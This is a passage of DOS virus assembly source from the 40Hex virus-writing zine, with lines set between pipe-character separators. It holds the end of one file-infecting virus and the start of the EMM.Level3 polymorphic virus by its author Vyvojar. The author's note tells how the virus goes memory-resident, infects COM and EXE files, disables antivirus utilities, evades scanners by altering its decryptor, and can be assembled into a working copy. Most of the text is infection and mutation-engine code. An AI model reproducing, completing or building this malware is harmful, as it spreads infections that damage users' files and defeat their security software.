|||
|
; deviation for exe files
|
|||
|
add cx, ek_len
|
|||
|
mov dx, offset ek_kode
|
|||
|
wu2: mov ah, 40h
|
|||
|
call i21 ; write the entry beast
|
|||
|
popf
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pushf
|
|||
|
mov ah, 40h
|
|||
|
call i21 ; write the displaced code
|
|||
|
popf
|
|||
|
pop cx
|
|||
|
pop dx
|
|||
|
pushf
|
|||
|
mov ax, 4200h
|
|||
|
call i21 ; seek to area we got it from
|
|||
|
mov ah, 40h
|
|||
|
mov cx, v_len
|
|||
|
xor dx, dx
|
|||
|
call i21 ; & write over it with ourself
|
|||
|
call file_end
|
|||
|
popf
|
|||
|
jc wuret
|
|||
|
; write the EXE header to EOF
|
|||
|
mov ah, 40h
|
|||
|
mov cx, 2
|
|||
|
mov dx, offset relocnt
|
|||
|
call i21
|
|||
|
xor cx, cx
|
|||
|
mov dx, word ptr [tabloff]
|
|||
|
mov ax, 4200h
|
|||
|
call i21 ; seek to reloc'n table start
|
|||
|
mov cx, word ptr [relocnt]
|
|||
|
shl cx, 1
|
|||
|
shl cx, 1
|
|||
|
jcxz reloend
|
|||
|
|
|||
|
move_reloc: push bp ; moves the relocation table
|
|||
|
push ax ; to EOF...
|
|||
|
push dx
|
|||
|
mov ax, 3072 ; = size of blocks to move
|
|||
|
mov bp, ax ; (3k at a time)
|
|||
|
cmp cx, ax
|
|||
|
jb mr2
|
|||
|
mov word ptr [mr1+1], ax
|
|||
|
sub cx, ax
|
|||
|
pop dx
|
|||
|
pop ax
|
|||
|
add ax, bp
|
|||
|
adc dx, 0
|
|||
|
push ax
|
|||
|
push dx
|
|||
|
push cx
|
|||
|
jmp $+2 ; clear the prefetch queue
|
|||
|
mr1: mov cx, 0
|
|||
|
mr2: mov ah, 3fh
|
|||
|
mov dx, offset load
|
|||
|
push dx
|
|||
|
call i21
|
|||
|
push ax
|
|||
|
call file_end
|
|||
|
pop cx
|
|||
|
mov ah, 40h
|
|||
|
pop dx
|
|||
|
call i21
|
|||
|
pop cx
|
|||
|
jcxz reloend2
|
|||
|
mov bp, cx
|
|||
|
pop cx
|
|||
|
pop dx
|
|||
|
mov ax, 4200h
|
|||
|
call i21
|
|||
|
mov cx, bp
|
|||
|
pop bp
|
|||
|
jmp short move_reloc
|
|||
|
reloend2: pop bp
|
|||
|
pop bp
|
|||
|
reloend: mov word ptr [relocnt], 0
|
|||
|
call file_end
|
|||
|
mov ah, 40h
|
|||
|
mov cx, s_len
|
|||
|
call i21 ; add a stack
|
|||
|
call file_end
|
|||
|
wuret: ret ; and return.
|
|||
|
|
|||
|
rnd_num: ; calling parameters:
|
|||
|
; DX:AX contains dword, highest # allowed
|
|||
|
; returns:
|
|||
|
; DX:AX the selected offset
|
|||
|
; CX destroyed
|
|||
|
push dx
|
|||
|
push ax
|
|||
|
xor ax, ax ; get an arbitrary number
|
|||
|
int 1ah
|
|||
|
xchg cx, dx
|
|||
|
pop ax
|
|||
|
pop dx
|
|||
|
or dx, dx ; is DX:AX <64k?
|
|||
|
jnz rn2
|
|||
|
rn1: cmp ax, cx ; is denominator bigger than
|
|||
|
jnb rn2 ; the numerator?
|
|||
|
shr cx, 1
|
|||
|
jmp short rn1
|
|||
|
rn2: div cx ; divide DX:AX by CX
|
|||
|
mul cx ; and multiply again
|
|||
|
ret ; (got rid of remainder)
|
|||
|
|
|||
|
; data ..
|
|||
|
|
|||
|
msg db 'Have a nice $'
|
|||
|
XXXX db 'piss-up!',0d,0a,'$' ; sink some XXXX ales..
|
|||
|
doss db 'DOS!',0d,0a,'$'
|
|||
|
|
|||
|
fucks db 14h,'DCOSCCLVSF-' ; invalid words in filename
|
|||
|
;^^^ this is '4' AND 0DFh, to fit in with capitalization routine
|
|||
|
@fucks equ ($-fucks)/2
|
|||
|
|
|||
|
exts db 'COMEXE' ; valid extensions
|
|||
|
@exts equ ($-exts)/3
|
|||
|
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
|
|||
|
; This is the actual entry point of the infected file.
|
|||
|
; Its job is to relocate the actual virus from elsewhere in the file
|
|||
|
; and patch up the area where the virus was with the old data.
|
|||
|
|
|||
|
ek_kode: mov bp, ds ;2 ; this is only written on EXE infection
|
|||
|
push cs ;1
|
|||
|
pop ds ;1
|
|||
|
push cs ;1
|
|||
|
pop es ;1
|
|||
|
ek1: mov si, 0 ;3 ; same as k3
|
|||
|
lodsw ;1 ; first word = # of relocation items
|
|||
|
shl ax, 1 ;2
|
|||
|
shl ax, 1 ;2
|
|||
|
add si, ax ;2
|
|||
|
lea di, [si+v_len] ;4 ; where to reloc'n items to
|
|||
|
lea sp, [di+s_len+10h] ;3
|
|||
|
push ax ;1
|
|||
|
xchg ax, cx ;1
|
|||
|
std ;1
|
|||
|
jcxz ekdone ;2
|
|||
|
rep movsb ;2 ; move the relocation table
|
|||
|
movsb ;1
|
|||
|
ekdone: movsb ;1
|
|||
|
movsb ;1
|
|||
|
cld ;1
|
|||
|
mov ds, bp ;2
|
|||
|
|
|||
|
k_kode: mov ax, ds ;2
|
|||
|
mov bp, ax ;2
|
|||
|
k1: add ax, 0 ;3 ; seg displacement of virus code
|
|||
|
mov ds, ax ;2
|
|||
|
k2: mov si, 0 ;3 ; ofs displacement of virus code
|
|||
|
push cs ;1
|
|||
|
pop es ;1
|
|||
|
k3: mov di, 0 ;3 ; where we want to move it
|
|||
|
mov cx, v_len ;3
|
|||
|
rep movsb ;2
|
|||
|
push ds ;1 ; now we restore the old data
|
|||
|
push es ;1
|
|||
|
pop ds ;1 ; exchange the segments
|
|||
|
pop es ;1
|
|||
|
xchg si, di ;2 ; and pointers
|
|||
|
mov ax, v_len ;3
|
|||
|
sub si, ax ;2 ; and adjust them
|
|||
|
sub si, ax ;2
|
|||
|
push si ;1
|
|||
|
sub di, ax ;2
|
|||
|
xchg ax, cx ;1
|
|||
|
push cx ;1
|
|||
|
rep movsb ;2
|
|||
|
push cs ;1 ; now it's done.. make segs ours..
|
|||
|
pop es ;1
|
|||
|
pop cx ;1
|
|||
|
pop di ;1
|
|||
|
rep movsb ;2 ; copy virus code to v_end...
|
|||
|
jmp $+2 ;2 ; and clear processor's prefetch queue
|
|||
|
xchg si, di ;2 ; si points to virus code
|
|||
|
; di points to relocation info
|
|||
|
;52 bytes
|
|||
|
v_end:
|
|||
|
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
;
|
|||
|
; data which needn't be carried around when the virus spreads.
|
|||
|
;
|
|||
|
|
|||
|
old21 equ $
|
|||
|
|
|||
|
hdr equ old21 + 4 ; store for calc'd length of EXE header
|
|||
|
reloc equ hdr + 4 ; temp store for relocation data in EXE
|
|||
|
signature equ reloc + 4 ; where we load the host file's header
|
|||
|
part_page equ signature + 2 ; part-page at EOF ((this is for EXE header))
|
|||
|
page_cnt equ part_page + 2 ; count of code pages
|
|||
|
relocnt equ page_cnt + 2 ; # of relocation items in table
|
|||
|
hdr_size equ relocnt + 2 ; size of header in paragraphs
|
|||
|
minmem equ hdr_size + 2 ; minimum memory required
|
|||
|
maxmem equ minmem + 2 ; maximum memory required
|
|||
|
relo_ss equ maxmem + 2 ; displacement of stack segment (SS)
|
|||
|
exe_sp equ relo_ss + 2 ; stack pointer (SP)
|
|||
|
chksum equ exe_sp + 2 ; infection marker in EXEs
|
|||
|
exe_ip equ chksum + 2 ; instruction pointer (IP)
|
|||
|
relo_cs equ exe_ip + 2 ; displacement of code segment (CS)
|
|||
|
tabloff equ relo_cs + 2 ; offset of EXE relocation table
|
|||
|
; 26 bytes for EXE header
|
|||
|
oldss equ tabloff + 2
|
|||
|
oldsp equ oldss + 2
|
|||
|
filename equ oldsp + 2 ; filename of target file
|
|||
|
|
|||
|
v_len equ v_end - v_start
|
|||
|
|
|||
|
;
|
|||
|
; the end.
|
|||
|
;
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
|
|||
|
40Hex Number 14 Volume 5 Issue 1 File 010
|
|||
|
|
|||
|
comment %
|
|||
|
|
|||
|
Dear Virus Friends,
|
|||
|
|
|||
|
dis is so far my latest production.
|
|||
|
It is a polymorphic virus that uses some stealth techniques.
|
|||
|
After execution of infected file, it goes memory-resident and hits com'n'exe
|
|||
|
on execution or creation.
|
|||
|
There are two interesting features to this.
|
|||
|
First it is the polymorphic engine that generates two-phase decrypting routine.
|
|||
|
First phase consists of various instructions, among them some decrypt phase two.
|
|||
|
Phase two is a regular cyclical decryptor. (By altering phase two you probably
|
|||
|
can avoid detection by the virus scanners.)
|
|||
|
Second feature is demobilising of resident virus utilities (see source code
|
|||
|
of function "eliminate_av" for further details).
|
|||
|
Well, after I planted this virus in the field, I was told it does not run
|
|||
|
on 486s. The problem is that prefetch queue is longer on 486 than on my home
|
|||
|
machine and that's why self modyfying code does not work. Well, sorry for
|
|||
|
that, I really didn't mean to.
|
|||
|
To correct this problem, follow the instructions in the source code
|
|||
|
marked by "#####".
|
|||
|
To get a working copy of original EMM.Level3 virus do the following:
|
|||
|
tasm level3.asm (I used ver. 2.51; do not use /M switch)
|
|||
|
tlink level3.obj (I used ver. 4.00)
|
|||
|
level3.exe
|
|||
|
|
|||
|
Btw, I am Vyvojar, and you may have met Explosion and One Half - the forerunners
|
|||
|
to Level3.
|
|||
|
|
|||
|
(pre SVL: na stretnutie sa tesim :)) - len neviem ako sa skontaktujeme ...
|
|||
|
skuste sa na mna spytat na irc - kanal #virus)
|
|||
|
|
|||
|
%
|
|||
|
|
|||
|
.model small
|
|||
|
.stack 80h
|
|||
|
|
|||
|
host_segment segment
|
|||
|
mov ax,4c00h
|
|||
|
int 21h
|
|||
|
host_segment ends
|
|||
|
|
|||
|
virus_segment segment
|
|||
|
assume cs:virus_segment,ds:virus_segment
|
|||
|
|
|||
|
start_virus label near
|
|||
|
|
|||
|
DEPTH=5*3
|
|||
|
sstack db DEPTH dup(?)
|
|||
|
ssp dw DEPTH ;stack simulation
|
|||
|
|
|||
|
LENOVER=DEPTH ;length of overwritable bytes
|
|||
|
LENVIR=(offset end_virus-offset start_virus)
|
|||
|
LENHBUF=700 ;length of header buffer (for phase 1)
|
|||
|
EXTENTION=(16+LENVIR+LENHBUF) ;by this number infected file grows
|
|||
|
DEPSTACK=80h
|
|||
|
LENFNB=64 ;length of file name buffer
|
|||
|
LENDEC=(edec-sdec) ;decoder length (phase 2)
|
|||
|
MEMPOS=04fbh ;memory location for far jump within segment 0000h
|
|||
|
ORDER=25
|
|||
|
|
|||
|
strc struc ;structure for exe header
|
|||
|
id dw ?
|
|||
|
lpage dw ?
|
|||
|
pages dw ?
|
|||
|
items dw ?
|
|||
|
parps dw ?
|
|||
|
min dw ?
|
|||
|
max dw ?
|
|||
|
vSS dw ?
|
|||
|
vSP dw ?
|
|||
|
flag db ? ;com/exe determination
|
|||
|
db ?
|
|||
|
vIP dw ?
|
|||
|
vCS dw ?
|
|||
|
strc ends
|
|||
|
|
|||
|
bheader strc <1,,,,,,,0,,1,,0,0>
|
|||
|
|
|||
|
v16 dw 16
|
|||
|
v30 dw 30
|
|||
|
v512 dw 512
|
|||
|
|
|||
|
;********************** Explosion's Mutation Machine *********************
|
|||
|
|
|||
|
db '* EMM 1.0 *'
|
|||
|
rnd_get:
|
|||
|
push si
|
|||
|
push ax
|
|||
|
push bx
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
db 0b9h
|
|||
|
rnd2 dw ?
|
|||
|
db 0bbh
|
|||
|
rnd1 dw ?
|
|||
|
mov dx,015ah
|
|||
|
mov ax,4e35h
|
|||
|
xchg ax,si
|
|||
|
xchg ax,dx
|
|||
|
test ax,ax
|
|||
|
jz rnd_l1
|
|||
|
mul bx
|
|||
|
rnd_l1: jcxz rnd_l2
|
|||
|
xchg ax,cx
|
|||
|
mul si
|
|||
|
add ax,cx
|
|||
|
rnd_l2: xchg ax,si
|
|||
|
mul bx
|
|||
|
add dx,si
|
|||
|
inc ax
|
|||
|
adc dx,0000h
|
|||
|
mov cs:rnd1,ax
|
|||
|
mov cs:rnd2,dx
|
|||
|
mov ax,dx
|
|||
|
pop cx
|
|||
|
xor dx,dx
|
|||
|
jcxz rdbz ;division by zero
|
|||
|
div cx
|
|||
|
jmp short danilak_vyskumnik
|
|||
|
rdbz: xchg dx,ax ;if dx=0 on input then interval 0-ffff
|
|||
|
danilak_vyskumnik:
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
pop si
|
|||
|
retn
|
|||
|
|
|||
|
registers label near ;flag,value,offset when w=0 (operation with byte)
|
|||
|
rax db 3 dup(?),(offset rax-offset registers)
|
|||
|
rcx db 3 dup(?),(offset rcx-offset registers)
|
|||
|
rdx db 3 dup(?),(offset rdx-offset registers)
|
|||
|
rbx db 3 dup(?),(offset rbx-offset registers)
|
|||
|
rsp db 3 dup(?),(offset rax-offset registers)
|
|||
|
rbp db 3 dup(?),(offset rcx-offset registers)
|
|||
|
rsi db 3 dup(?),(offset rdx-offset registers)
|
|||
|
rdi db 3 dup(?),(offset rbx-offset registers)
|
|||
|
res db 4 dup(?)
|
|||
|
rflag db 4 dup(?)
|
|||
|
|
|||
|
;bits in flag:
|
|||
|
; 0 = lo part of register set if 1
|
|||
|
; 1 = hi part of register set if 1
|
|||
|
; 2 = don't change value of register if 1 (for sp)
|
|||
|
|
|||
|
fw db ? ;fw=0 when byte operation, fw=1 when word operation
|
|||
|
|
|||
|
choose:
|
|||
|
push ax ;selection of routine according to the table
|
|||
|
push cx ;ds:si points to the table
|
|||
|
push dx ;table is in the format: byte/probability
|
|||
|
push si ; word/adr of routine
|
|||
|
xor cx,cx ;table ends with 0ffh
|
|||
|
take_next: lodsb
|
|||
|
cbw
|
|||
|
add cx,ax
|
|||
|
cmp al,0ffh
|
|||
|
lodsw
|
|||
|
jne take_next
|
|||
|
inc cx ;subtract 0ffffh
|
|||
|
pop si
|
|||
|
mov dx,cx
|
|||
|
call rnd_get
|
|||
|
try_next: lodsb
|
|||
|
cbw
|
|||
|
sub cx,ax
|
|||
|
lodsw
|
|||
|
cmp dx,cx
|
|||
|
jb try_next
|
|||
|
xchg si,ax
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop ax
|
|||
|
jmp si ;jump to the selected routine
|
|||
|
|
|||
|
getaddr: ;get addr of reg within registers table
|
|||
|
push ax
|
|||
|
push bx
|
|||
|
mov si,dx
|
|||
|
shl si,1
|
|||
|
shl si,1
|
|||
|
mov bx,offset registers
|
|||
|
add si,bx
|
|||
|
mov ch,3 ;mask for word register
|
|||
|
cmp fw,0
|
|||
|
jne chsl
|
|||
|
add si,3
|
|||
|
lodsb
|
|||
|
cbw
|
|||
|
xchg si,ax
|
|||
|
add si,bx
|
|||
|
dec ch ;mask for hi byte of reg
|
|||
|
test dl,04h
|
|||
|
jnz chsl
|
|||
|
dec ch ;mask for lo byte of reg
|
|||
|
chsl: pop bx
|
|||
|
pop ax
|
|||
|
retn
|
|||
|
|
|||
|
gregl: ;select target reg (output in dx)
|
|||
|
push cx
|
|||
|
push si
|
|||
|
gregl_other: mov dx,8
|
|||
|
call rnd_get
|
|||
|
call getaddr
|
|||
|
test byte ptr [si],04h ;can I modify value of reg?
|
|||
|
jnz gregl_other
|
|||
|
pop si
|
|||
|
pop cx
|
|||
|
retn
|
|||
|
|
|||
|
gregp: ;select source reg with defined value (output in dx)
|
|||
|
push ax
|
|||
|
xor ah,ah
|
|||
|
jmp short kazisvet_prefikany
|
|||
|
gregls: ;select target reg with defined value (output in dx)
|
|||
|
push ax
|
|||
|
gl108: mov ah,04h
|
|||
|
kazisvet_prefikany:
|
|||
|
push cx
|
|||
|
push si
|
|||
|
push bp
|
|||
|
mov dx,8
|
|||
|
call rnd_get
|
|||
|
mov bp,dx
|
|||
|
xor dx,dx
|
|||
|
mov cl,dl
|
|||
|
grdl1: call getaddr
|
|||
|
lodsb
|
|||
|
test al,ah
|
|||
|
jnz grng1
|
|||
|
and al,03h
|
|||
|
cmp al,03h
|
|||
|
je vrah_pocitacovy_kosicky
|
|||
|
cmp al,ch
|
|||
|
jne grng1
|
|||
|
vrah_pocitacovy_kosicky:
|
|||
|
inc cx
|
|||
|
dec bp
|
|||
|
js tulen_bacil
|
|||
|
grng1: inc dx
|
|||
|
cmp dx,8
|
|||
|
jb grdl1
|
|||
|
or cl,cl
|
|||
|
jnz gra1v
|
|||
|
stc
|
|||
|
jmp short grnv
|
|||
|
gra1v: and dx,07h
|
|||
|
jmp grdl1
|
|||
|
tulen_bacil: clc
|
|||
|
grnv: pop bp
|
|||
|
pop si
|
|||
|
pop cx
|
|||
|
pop ax
|
|||
|
retn
|
|||
|
|
|||
|
wtreg: ;write value into reg
|
|||
|
push cx
|
|||
|
push si
|
|||
|
call getaddr
|
|||
|
inc si
|
|||
|
cmp ch,3
|
|||
|
jne wtw1
|
|||
|
mov [si],ax
|
|||
|
jmp short wtb1
|
|||
|
wtw1: cmp ch,1
|
|||
|
je panko_revizor
|
|||
|
inc si
|
|||
|
panko_revizor: mov [si],al
|
|||
|
wtb1: pop si
|
|||
|
pop cx
|
|||
|
retn
|
|||
|
|
|||
|
rfreg: ;read value from reg
|
|||
|
push cx
|
|||
|
push si
|
|||
|
call getaddr
|
|||
|
inc si
|
|||
|
cmp ch,3
|
|||
|
jne rfw1
|
|||
|
lodsw
|
|||
|
jmp short rfb1
|
|||
|
rfw1: cmp ch,1
|
|||
|
je rfnp
|
|||
|
inc si
|
|||
|
rfnp: lodsb
|
|||
|
rfb1: pop si
|
|||
|
pop cx
|
|||
|
retn
|
|||
|
|
|||
|
shl3fw:
|
|||
|
or al,fw
|
|||
|
shl3dl:
|
|||
|
push dx
|
|||
|
mov cl,3
|
|||
|
shl dl,cl
|
|||
|
or ah,dl
|
|||
|
pop dx
|
|||
|
retn
|
|||
|
|
|||
|
;************************* generating of MOV *********************
|
|||
|
|
|||
|
;generating of mov reg,imm
|
|||
|
mt1:
|
|||
|
call gregl
|
|||
|
push dx
|
|||
|
mov al,fw
|
|||
|
mov cl,3
|
|||
|
shl al,cl
|
|||
|
or al,10110000b
|
|||
|
or al,dl
|
|||
|
stosb
|
|||
|
xor dx,dx
|
|||
|
call rnd_get
|
|||
|
xchg ax,dx
|
|||
|
pop dx
|
|||
|
call wtreg
|
|||
|
call getaddr
|
|||
|
or [si],ch
|
|||
|
cmp ch,3
|
|||
|
jne bt1
|
|||
|
stosw
|
|||
|
jmp wd1
|
|||
|
bt1: stosb
|
|||
|
wd1: retn
|
|||
|
|
|||
|
;generating of mov reg,reg
|
|||
|
mt2:
|
|||
|
call gregp
|
|||
|
jc wd1
|
|||
|
call rfreg
|
|||
|
push ax
|
|||
|
mov ax,1100000010001010b
|
|||
|
or al,fw
|
|||
|
or ah,dl
|
|||
|
mov bx,dx
|
|||
|
nti1: call gregl
|
|||
|
cmp bx,dx
|
|||
|
je nti1
|
|||
|
call shl3dl
|
|||
|
stosw
|
|||
|
pop ax
|
|||
|
call wtreg
|
|||
|
call getaddr
|
|||
|
or [si],ch
|
|||
|
retn
|
|||
|
|
|||
|
chtab00 db 45
|
|||
|
dw offset mt1
|
|||
|
db 45
|
|||
|
dw offset mt2
|
|||
|
db 3
|
|||
|
dw offset mt6
|
|||
|
db 3
|
|||
|
dw offset mt7
|
|||
|
db 1
|
|||
|
dw offset mt3
|
|||
|
db 1
|
|||
|
dw offset mt4
|
|||
|
db 1
|
|||
|
dw offset mt5
|
|||
|
db 0ffh
|
|||
|
gmovr:
|
|||
|
mov si,offset chtab00
|
|||
|
jmp choose
|
|||
|
|
|||
|
;generating of mov ds,reg
|
|||
|
mt5:
|
|||
|
mov fw,1
|
|||
|
test res+3,1
|
|||
|
jnz mt5err ;if ds is set to cs, do nothing
|
|||
|
call gregp
|
|||
|
jc mt5err
|
|||
|
mov ax,1101100010001110b
|
|||
|
or ah,dl
|
|||
|
stosw
|
|||
|
mt5err: retn
|
|||
|
|
|||
|
;generating of mov reg,sreg
|
|||
|
mt4:
|
|||
|
mov fw,1
|
|||
|
mov dx,20h
|
|||
|
call rnd_get
|
|||
|
mov ax,1100000010001100b
|
|||
|
or ah,dl
|
|||
|
and ah,0f8h
|
|||
|
call gregl
|
|||
|
or ah,dl
|
|||
|
stosw
|
|||
|
call getaddr
|
|||
|
and ah,00011000b
|
|||
|
jz sppse
|
|||
|
and byte ptr [si],0fch ;value in reg is not valid
|
|||
|
retn
|
|||
|
sppse: mov al,res
|
|||
|
mov [si],al
|
|||
|
mov ax,word ptr res+1
|
|||
|
mov [si+1],ax
|
|||
|
retn
|
|||
|
|
|||
|
;generating of mov es,reg
|
|||
|
mt3:
|
|||
|
mov fw,1
|
|||
|
call gregp
|
|||
|
jc mt3err
|
|||
|
mov ax,1100000010001110b
|
|||
|
or ah,dl
|
|||
|
stosw
|
|||
|
call rfreg
|
|||
|
or res,3
|
|||
|
mov word ptr res+1,ax
|
|||
|
mt3err: retn
|
|||
|
|
|||
|
;generating of xor X,X
|
|||
|
mt6:
|
|||
|
mov al,00110010b
|
|||
|
jmp short com67
|
|||
|
|
|||
|
;generating of sub X,X
|
|||
|
mt7:
|
|||
|
mov al,00101010b
|
|||
|
com67: mov ah,11000000b
|
|||
|
call gregl
|
|||
|
or ah,dl
|
|||
|
call getaddr
|
|||
|
or [si],ch ;reg is set to zero and has valid value
|
|||
|
mov word ptr ds:(offset gl102),0c032h
|
|||
|
jmp short pcpm67
|
|||
|
|
|||
|
;******************** general part for OR, AND, ... ************************
|
|||
|
|
|||
|
perform_oper_l2:
|
|||
|
mov al,fw
|
|||
|
add byte ptr ds:(offset gl102),al
|
|||
|
call rfreg
|
|||
|
mov bp,word ptr rflag+1
|
|||
|
push bp
|
|||
|
popf
|
|||
|
sti
|
|||
|
cld
|
|||
|
gl102: or al,bl
|
|||
|
pushf
|
|||
|
pop bp
|
|||
|
mov word ptr rflag+1,bp
|
|||
|
jmp wtreg
|
|||
|
|
|||
|
perform_oper_l1:
|
|||
|
call perform_oper_l2
|
|||
|
or rflag,1
|
|||
|
retn
|
|||
|
|
|||
|
chtab01 db 45
|
|||
|
dw offset ot1
|
|||
|
db 45
|
|||
|
dw offset ot2
|
|||
|
db 10
|
|||
|
dw offset ot3
|
|||
|
db 0ffh
|
|||
|
ggen2:
|
|||
|
lodsb
|
|||
|
mov ah,0c3h
|
|||
|
mov word ptr ds:(offset gl102),ax
|
|||
|
lodsb
|
|||
|
mov byte ptr ds:(offset gl104+1),al
|
|||
|
lodsb
|
|||
|
mov ah,11000000b
|
|||
|
mov word ptr ds:(offset gl105+1),ax
|
|||
|
lodsw
|
|||
|
mov word ptr ds:(offset gl106+1),ax
|
|||
|
mov si,offset chtab01
|
|||
|
jmp choose
|
|||
|
|
|||
|
;generating of ins a?,imm
|
|||
|
ot3:
|
|||
|
xor dx,dx
|
|||
|
call getaddr
|
|||
|
lodsb
|
|||
|
and al,03h
|
|||
|
cmp al,03h
|
|||
|
je ot3obn
|
|||
|
cmp al,ch
|
|||
|
jne ot1
|
|||
|
ot3obn: push dx
|
|||
|
gl104: mov al,00001100b
|
|||
|
or al,fw
|
|||
|
stosb
|
|||
|
jmp short tozti
|
|||
|
|
|||
|
;generating of ins reg,reg
|
|||
|
ot2:
|
|||
|
call gregp
|
|||
|
jc wdort1
|
|||
|
call rfreg
|
|||
|
xchg bx,ax
|
|||
|
gl105: mov ax,1100000000001010b
|
|||
|
or ah,dl
|
|||
|
call gregls
|
|||
|
jc wdort1
|
|||
|
pcpm67: call shl3fw
|
|||
|
stosw
|
|||
|
jmp perform_oper_l1
|
|||
|
|
|||
|
;generating of ins reg,imm
|
|||
|
ot1:
|
|||
|
call gregls
|
|||
|
jc wdort1
|
|||
|
push dx
|
|||
|
gl106: mov ax,1100100010000000b
|
|||
|
or al,fw
|
|||
|
or ah,dl
|
|||
|
stosw
|
|||
|
tozti: xor dx,dx
|
|||
|
call rnd_get
|
|||
|
mov bx,dx
|
|||
|
pop dx
|
|||
|
call perform_oper_l1
|
|||
|
xchg ax,bx
|
|||
|
cmp fw,0
|
|||
|
je bort1
|
|||
|
stosw
|
|||
|
jmp wdort1
|
|||
|
bort1: stosb
|
|||
|
wdort1: retn
|
|||
|
|
|||
|
;*********************** generating of OR ***************************
|
|||
|
orrdat db 0ah ;oper AL,BL ... inc ... oper AX,BX
|
|||
|
db 00001100b ;oper a?,imm
|
|||
|
db 00001010b ;oper reg,reg
|
|||
|
dw 1100100010000000b ;oper reg,imm
|
|||
|
gorr:
|
|||
|
mov si,offset orrdat
|
|||
|
pgen21: jmp ggen2
|
|||
|
;*********************** generating of AND ***************************
|
|||
|
andrdat db 22h ;oper AL,BL ... inc ... oper AX,BX
|
|||
|
db 00100100b ;oper a?,imm
|
|||
|
db 00100010b ;oper reg,reg
|
|||
|
dw 1110000010000000b ;oper reg,imm
|
|||
|
gandr:
|
|||
|
mov si,offset andrdat
|
|||
|
jmp pgen21
|
|||
|
;*********************** generating of XOR ***************************
|
|||
|
xorrdat db 32h ;oper AL,BL ... inc ... oper AX,BX
|
|||
|
db 00110100b ;oper a?,imm
|
|||
|
db 00110010b ;oper reg,reg
|
|||
|
dw 1111000010000000b ;oper reg,imm
|
|||
|
gxorr:
|
|||
|
mov si,offset xorrdat
|
|||
|
pggen2: jmp pgen21
|
|||
|
;*********************** generating of TEST **************************
|
|||
|
testrdt db 84h ;oper AL,BL ... inc ... oper AX,BX
|
|||
|
db 10101000b ;oper a?,imm
|
|||
|
db 10000100b ;oper reg,reg
|
|||
|
dw 1100000011110110b ;oper reg,imm
|
|||
|
gtestr:
|
|||
|
mov si,offset testrdt
|
|||
|
ggen3: mov byte ptr ds:(offset gl108+1),00h ;target register can be any register set to proper value
|
|||
|
call ggen2
|
|||
|
mov byte ptr ds:(offset gl108+1),04h ;restore
|
|||
|
retn
|
|||
|
;*********************** generating of CMP ***************************
|
|||
|
cmprdat db 3ah ;oper AL,BL ... inc ... oper AX,BX
|
|||
|
db 00111100b ;oper a?,imm
|
|||
|
db 00111010b ;oper reg,reg
|
|||
|
dw 1111100010000000b ;oper reg,imm
|
|||
|
gcmpr:
|
|||
|
mov si,offset cmprdat
|
|||
|
jmp ggen3
|
|||
|
;*********************** generating of ADD ***************************
|
|||
|
addrdat db 02h ;oper AL,BL ... inc ... oper AX,BX
|
|||
|
db 00000100b ;oper a?,imm
|
|||
|
db 00000010b ;oper reg,reg
|
|||
|
dw 1100000010000000b ;oper reg,imm
|
|||
|
gaddr:
|
|||
|
mov si,offset addrdat
|
|||
|
jmp pggen2
|
|||
|
;*********************** generating of SUB ***************************
|
|||
|
subrdat db 2ah ;oper AL,BL ... inc ... oper AX,BX
|
|||
|
db 00101100b ;oper a?,imm
|
|||
|
db 00101010b ;oper reg,reg
|
|||
|
dw 1110100010000000b ;oper reg,imm
|
|||
|
gsubr:
|
|||
|
mov si,offset subrdat
|
|||
|
jmp pggen2
|
|||
|
;*********************** generating of ADC ***************************
|
|||
|
adcrdat db 12h ;oper AL,BL ... inc ... oper AX,BX
|
|||
|
db 00010100b ;oper a?,imm
|
|||
|
db 00010010b ;oper reg,reg
|
|||
|
dw 1101000010000000b ;oper reg,imm
|
|||
|
gadcr:
|
|||
|
mov si,offset adcrdat
|
|||
|
ggen4: test rflag,1
|
|||
|
jnz pggen2
|
|||
|
gg10err: retn
|
|||
|
;*********************** generating of SBB ***************************
|
|||
|
sbbrdat db 1ah ;oper AL,BL ... inc ... oper AX,BX
|
|||
|
db 00011100b ;oper a?,imm
|
|||
|
db 00011010b ;oper reg,reg
|
|||
|
dw 1101100010000000b ;oper reg,imm
|
|||
|
gsbbr:
|
|||
|
mov si,offset sbbrdat
|
|||
|
jmp ggen4
|
|||
|
|
|||
|
;***************** general part for INC,DEC,... ******************
|
|||
|
|
|||
|
chtab03 db 1
|
|||
|
dw offset inct2
|
|||
|
chtab04 db 1
|
|||
|
dw offset inct1
|
|||
|
db 0ffh
|
|||
|
ggen11:
|
|||
|
lodsw
|
|||
|
mov word ptr ds:(offset gl102),ax
|
|||
|
lodsw
|
|||
|
mov word ptr ds:(offset gl201+1),ax
|
|||
|
lodsb
|
|||
|
mov byte ptr ds:(offset gl202+1),al
|
|||
|
gl203: mov si,offset chtab03
|
|||
|
jmp choose
|
|||
|
|
|||
|
;generating of ins reg8 or ins reg16 (2 bytes)
|
|||
|
inct1:
|
|||
|
call gregls
|
|||
|
jc gg10err
|
|||
|
gl201: mov ax,1100000011111110b
|
|||
|
ggen21: or al,fw
|
|||
|
or ah,dl
|
|||
|
stosw
|
|||
|
jmp perform_oper_l2
|
|||
|
|
|||
|
;generating of ins reg16 (1 byte)
|
|||
|
inct2:
|
|||
|
mov fw,1
|
|||
|
call gregls
|
|||
|
jc gg10err
|
|||
|
gl202: mov al,01000000b
|
|||
|
or al,dl
|
|||
|
stosb
|
|||
|
jmp perform_oper_l2
|
|||
|
|
|||
|
;*********************** generating of INC ***************************
|
|||
|
incrdat dw 0c0feh ;operation
|
|||
|
dw 1100000011111110b ;2 bytes
|
|||
|
db 01000000b ;1 byte
|
|||
|
gincr:
|
|||
|
mov si,offset incrdat
|
|||
|
jmp ggen11
|
|||
|
;*********************** generating of DEC ***************************
|
|||
|
decrdat dw 0c8feh ;operation
|
|||
|
dw 1100100011111110b ;2 bytes
|
|||
|
db 01001000b ;1 byte
|
|||
|
gdecr:
|
|||
|
mov si,offset decrdat
|
|||
|
jmp ggen11
|
|||
|
;*********************** generating of NEG ***************************
|
|||
|
negrdat dw 0d8f6h ;operation
|
|||
|
dw 1101100011110110b ;2 bytes
|
|||
|
gnegr:
|
|||
|
mov si,offset negrdat
|
|||
|
push di
|
|||
|
call ggen12
|
|||
|
pop ax
|
|||
|
